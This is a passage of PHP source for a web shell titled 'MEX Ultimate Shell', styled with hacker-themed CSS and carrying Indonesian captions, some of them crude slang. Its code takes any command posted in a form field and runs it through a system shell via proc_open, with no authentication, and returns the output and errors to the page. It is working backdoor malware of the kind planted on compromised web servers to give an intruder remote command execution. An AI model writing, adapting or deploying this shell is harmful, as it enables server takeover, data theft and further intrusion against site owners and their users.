array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr ); // Use 'sh' to have a consistent shell environment $process = proc_open('sh', $descriptorspec, $pipes, realpath('./')); if (is_resource($process)) { // Write command to stdin and close it fwrite($pipes[0], $command . "\n"); fclose($pipes[0]); // Read output from stdout $output = stream_get_contents($pipes[1]); fclose($pipes[1]); // Read errors from stderr $error = stream_get_contents($pipes[2]); fclose($pipes[2]); // Close the process proc_close($process); // Return both output and error return $output . $error; } return "Fungsi proc_open() tidak aktif atau gagal."; } // Check if a command was submitted $output = ''; if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["command"])) { $command = $_POST["command"]; $output = execute_command($command); } ?> Aw sakit :( , Mentok ih... body { background-color: #1a1a1a; color: #00ff00; font-family: 'monospace', 'Courier New', Courier; margin: 20px; } h2, h3 { color: #ff00ff; } form { margin-bottom: 20px; } input[type="text"] { background-color: #333; border: 1px solid #00ff00; color: #00ff00; padding: 8px; width: 70%; font-family: inherit; } button { background-color: #ff00ff; border: 1px solid #00ff00; color: #1a1a1a; padding: 8px 15px; cursor: pointer; font-weight: bold; } pre { background-color: #000; border: 1px dashed #00ff00; padding: 15px; white-space: pre-wrap; word-wrap: break-word; font-size: 14px; }

MEX Ultimate Shell

<form action="" method="post">

crot awhhhhhh